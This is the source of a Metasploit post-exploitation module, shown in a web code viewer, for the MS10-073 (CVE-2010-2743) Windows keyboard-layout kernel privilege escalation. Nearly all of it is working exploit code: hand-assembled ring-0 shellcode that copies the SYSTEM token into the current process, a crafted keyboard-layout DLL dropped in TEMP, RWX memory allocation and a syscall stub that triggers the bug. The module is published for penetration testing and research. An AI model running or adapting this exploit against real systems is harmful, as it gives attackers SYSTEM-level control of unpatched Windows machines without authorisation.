Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/escalate/ms10_073_kbdlayout.rb
19852 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'metasm'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Version
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Escalate NtUserLoadKeyboardLayoutEx Privilege Escalation',
16
'Description' => %q{
17
This module exploits the keyboard layout vulnerability exploited by Stuxnet. When
18
processing specially crafted keyboard layout files (DLLs), the Windows kernel fails
19
to validate that an array index is within the bounds of the array. By loading
20
a specially crafted keyboard layout, an attacker can execute code in Ring 0.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'Ruben Santamarta', # First public exploit
25
'jduck' # Metasploit module
26
],
27
'Platform' => [ 'win' ],
28
'SessionTypes' => [ 'meterpreter' ],
29
'References' => [
30
[ 'OSVDB', '68552' ],
31
[ 'CVE', '2010-2743' ],
32
[ 'MSB', 'MS10-073' ],
33
[ 'URL', 'https://web.archive.org/web/20160308010201/http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],
34
[ 'EDB', '15985' ]
35
],
36
'DisclosureDate' => '2010-10-12',
37
'Compat' => {
38
'Meterpreter' => {
39
'Commands' => %w[
40
core_channel_eof
41
core_channel_open
42
core_channel_read
43
core_channel_write
44
stdapi_fs_delete_file
45
stdapi_railgun_api
46
stdapi_railgun_memwrite
47
stdapi_sys_config_getenv
48
stdapi_sys_process_getpid
49
]
50
}
51
},
52
'Notes' => {
53
'Stability' => [CRASH_OS_DOWN],
54
'SideEffects' => [ARTIFACTS_ON_DISK],
55
'Reliability' => []
56
}
57
)
58
)
59
end
60
61
def run
62
mem_base = nil
63
dllpath = nil
64
hdll = false
65
66
version = get_version_info
67
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)
68
print_error("#{version.product_name} is not vulnerable.")
69
return
70
end
71
72
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)
73
print_error("#{version.product_name} is vulnerable, but not supported by this module.")
74
return
75
end
76
77
# syscalls from http://j00ru.vexillium.org/win32k_syscalls/
78
if version.build_number == Msf::WindowsVersion::Win2000
79
system_pid = 8
80
pid_off = 0x9c
81
flink_off = 0xa0
82
token_off = 0x12c
83
addr = 0x41424344
84
syscall_stub = <<~EOS
85
mov eax, 0x000011b6
86
lea edx, [esp+4]
87
int 0x2e
88
ret 0x1c
89
EOS
90
else # XP
91
system_pid = 4
92
pid_off = 0x84
93
flink_off = 0x88
94
token_off = 0xc8
95
addr = 0x60636261
96
syscall_stub = <<~EOS
97
mov eax, 0x000011c6
98
mov edx, 0x7ffe0300
99
call [edx]
100
ret 0x1c
101
EOS
102
end
103
104
ring0_code =
105
# "\xcc" +
106
# save registers -- necessary for successful recovery
107
"\x60" +
108
# get EPROCESS from ETHREAD
109
"\x64\xa1\x24\x01\x00\x00" \
110
"\x8b\x70\x44" +
111
# init PID search
112
"\x89\xf0" \
113
"\xbb" + 'FFFF' \
114
"\xb9" + 'PPPP' +
115
# look for the system pid EPROCESS
116
"\xba" + 'SSSS' \
117
"\x8b\x04\x18" \
118
"\x29\xd8" \
119
"\x39\x14\x08" \
120
"\x75\xf6" +
121
# save the system token addr in edi
122
"\xbb" + 'TTTT' \
123
"\x8b\x3c\x18" \
124
"\x83\xe7\xf8" +
125
# re-init the various offsets
126
"\x89\xf0" \
127
"\xbb" + 'FFFF' \
128
"\xb9" + 'PPPP' +
129
# find the target pid token
130
"\xba" + 'TPTP' \
131
"\x8b\x04\x18" \
132
"\x29\xd8" \
133
"\x39\x14\x08" \
134
"\x75\xf6" +
135
# set the target pid's token to the system token
136
"\xbb" + 'TTTT' \
137
"\x89\x3c\x18" +
138
# restore start context
139
"\x61" +
140
# recover in ring0, return to caller
141
"\xc2\x0c\00"
142
143
dll_data =
144
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
145
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
146
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
147
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" \
148
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
149
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
150
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
151
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
152
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
153
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
154
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
155
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
156
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
157
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
158
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
159
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
160
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
161
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
162
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
163
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" \
164
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" \
165
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
166
"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
167
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
168
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
169
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
170
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
171
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" \
172
"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
173
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
174
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
175
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
176
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
177
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
178
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
179
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
180
"\x00\x00\x00\x00\x00\x00"
181
182
pid = session.sys.process.getpid
183
print_status(format('Attempting to elevate PID 0x%<pid>x', pid: pid))
184
185
# Prepare the shellcode (replace platform specific stuff, and pid)
186
ring0_code.gsub!('FFFF', [flink_off].pack('V'))
187
ring0_code.gsub!('PPPP', [pid_off].pack('V'))
188
ring0_code.gsub!('SSSS', [system_pid].pack('V'))
189
ring0_code.gsub!('TTTT', [token_off].pack('V'))
190
ring0_code.gsub!('TPTP', [pid].pack('V'))
191
192
# Create the malicious Keyboard Layout file...
193
tmpdir = session.sys.config.getenv('TEMP')
194
fname = 'p0wns.boom'
195
dllpath = "#{tmpdir}\\#{fname}"
196
fd = session.fs.file.new(dllpath, 'wb')
197
fd.write(dll_data)
198
fd.close
199
200
# Can't use this atm, no handle access via stdapi :(
201
# dll_fd = session.fs.file.new(dllpath, 'rb')
202
# Instead, we'll use railgun to re-open the file
203
ret = session.railgun.kernel32.CreateFileA(dllpath, GENERIC_READ, 1, nil, 3, 0, 0)
204
print_status(ret.inspect)
205
if ret['return'] < 1
206
print_error("Unable to open #{dllpath}")
207
return
208
end
209
hdll = ret['return']
210
print_status("Wrote malicious keyboard layout to #{dllpath} ..")
211
212
# Allocate some RWX virtual memory for our use..
213
mem_base = addr & 0xffff0000
214
mem_size = (addr & 0xffff) + 0x1000
215
mem_size += (0x1000 - (mem_size % 0x1000))
216
mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
217
if (mem['return'] != mem_base)
218
print_error(format('Unable to allocate RWX memory @ 0x%<mem_base>x', mem_base: mem_base))
219
return
220
end
221
print_status(format('Allocated 0x%<mem_size>x bytes of memory @ 0x%<mem_base>x', mem_size: mem_size, mem_base: mem_base))
222
223
# Initialize the buffer to contain NO-OPs
224
nops = "\x90" * mem_size
225
ret = session.railgun.memwrite(mem_base, nops, nops.length)
226
if !ret
227
print_error('Unable to fill memory with NO-OPs')
228
return
229
end
230
231
# Copy the shellcode to the desired place
232
ret = session.railgun.memwrite(addr, ring0_code, ring0_code.length)
233
if !ret
234
print_error('Unable to copy ring0 payload')
235
return
236
end
237
238
# InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
239
pklid = mem_base
240
pstr = pklid + (2 + 2 + 4)
241
kbd_name = 'pwn3d.dll'
242
uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
243
ret = session.railgun.memwrite(pstr, uni_name, uni_name.length)
244
if !ret
245
print_error('Unable to copy unicode string data')
246
return
247
end
248
unicode_str = [
249
kbd_name.length * 2,
250
uni_name.length,
251
pstr
252
].pack('vvV')
253
ret = session.railgun.memwrite(pklid, unicode_str, unicode_str.length)
254
if !ret
255
print_error('Unable to copy UNICODE_STRING structure')
256
return
257
end
258
print_status('Initialized RWX buffer ...')
259
260
# Get the current Keyboard Layout
261
ret = session.railgun.user32.GetKeyboardLayout(0)
262
if ret['return'] < 1
263
print_error('Unable to GetKeyboardLayout')
264
return
265
end
266
hkl = ret['return']
267
print_status('Current Keyboard Layout: 0x%x' % hkl)
268
269
# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(
270
# IN HANDLE Handle,
271
# IN DWORD offTable,
272
# IN PUNICODE_STRING puszKeyboardName,
273
# IN HKL hKL,
274
# IN PUNICODE_STRING puszKLID,
275
# IN DWORD dwKLID,
276
# IN UINT Flags
277
# )
278
279
# Again, railgun/meterpreter doesn't implement calling a non-dll function, so
280
# I tried to hack up this call to KiFastSystemCall, but that didn't work either...
281
=begin
282
session.railgun.add_function('ntdll', 'KiFastSystemCall', 'DWORD',
283
[
284
[ 'DWORD', 'syscall', 'in' ],
285
[ 'DWORD', 'handle', 'in' ],
286
[ 'DWORD', 'offTable', 'in' ],
287
[ 'PBLOB', 'pKbdName', 'in' ],
288
[ 'DWORD', 'hKL', 'in' ],
289
[ 'PBLOB', 'pKLID', 'in' ],
290
[ 'DWORD', 'dwKLID', 'in' ],
291
[ 'DWORD', 'Flags', 'in' ]
292
])
293
ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hkl, pklid, 0x666, 0x101)
294
print_status(ret.inspect)
295
=end
296
297
# Instead, we'll craft a machine code blob to setup the stack and perform
298
# the system call..
299
asm = <<~EOS
300
pop esi
301
push 0x101
302
push 0x666
303
push #{'0x%x' % pklid}
304
push #{'0x%x' % hkl}
305
push 0
306
push 0x1ae0160
307
push #{'0x%x' % hdll}
308
push esi
309
#{syscall_stub}
310
EOS
311
# print_status("\n" + asm)
312
bytes = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
313
# print_status("\n" + Rex::Text.to_hex_dump(bytes))
314
315
# Copy this new system call wrapper function into our RWX memory
316
func_ptr = mem_base + 0x1000
317
ret = session.railgun.memwrite(func_ptr, bytes, bytes.length)
318
if !ret
319
print_error('Unable to copy system call stub')
320
return
321
end
322
print_status(format('Patched in syscall wrapper @ 0x%<func_ptr>x', func_ptr: func_ptr))
323
324
# GO GO GO
325
ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, 'CREATE_SUSPENDED', nil)
326
if ret['return'] < 1
327
print_error('Unable to CreateThread')
328
return
329
end
330
hthread = ret['return']
331
332
# Resume the thread to actually have the syscall happen
333
ret = client.railgun.kernel32.ResumeThread(hthread)
334
if ret['return'] < 1
335
print_error('Unable to ResumeThread')
336
return
337
end
338
print_good('Successfully executed syscall wrapper!')
339
340
# Now, send some input to cause ring0 payload execution...
341
print_status('Attempting to cause the ring0 payload to execute...')
342
vinput = [
343
1, # INPUT_KEYBOARD - input type
344
# KEYBDINPUT struct
345
0x0, # wVk
346
0x0, # wScan
347
0x0, # dwFlags
348
0x0, # time
349
0x0, # dwExtraInfo
350
0x0, # pad 1
351
0x0 # pad 2
352
].pack('VvvVVVVV')
353
ret = session.railgun.user32.SendInput(1, vinput, vinput.length)
354
print_status('SendInput: ' + ret.inspect)
355
ensure
356
# Clean up
357
if mem_base
358
ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
359
if !(ret['return'])
360
print_error(format('Unable to free memory @ 0x%<mem_base>x', mem_base: mem_base))
361
end
362
end
363
364
# dll_fd.close
365
if hdll
366
ret = session.railgun.kernel32.CloseHandle(hdll)
367
if !(ret['return'])
368
print_error('Unable to CloseHandle')
369
end
370
end
371
372
session.fs.file.rm(dllpath) if dllpath
373
end
374
end
375
376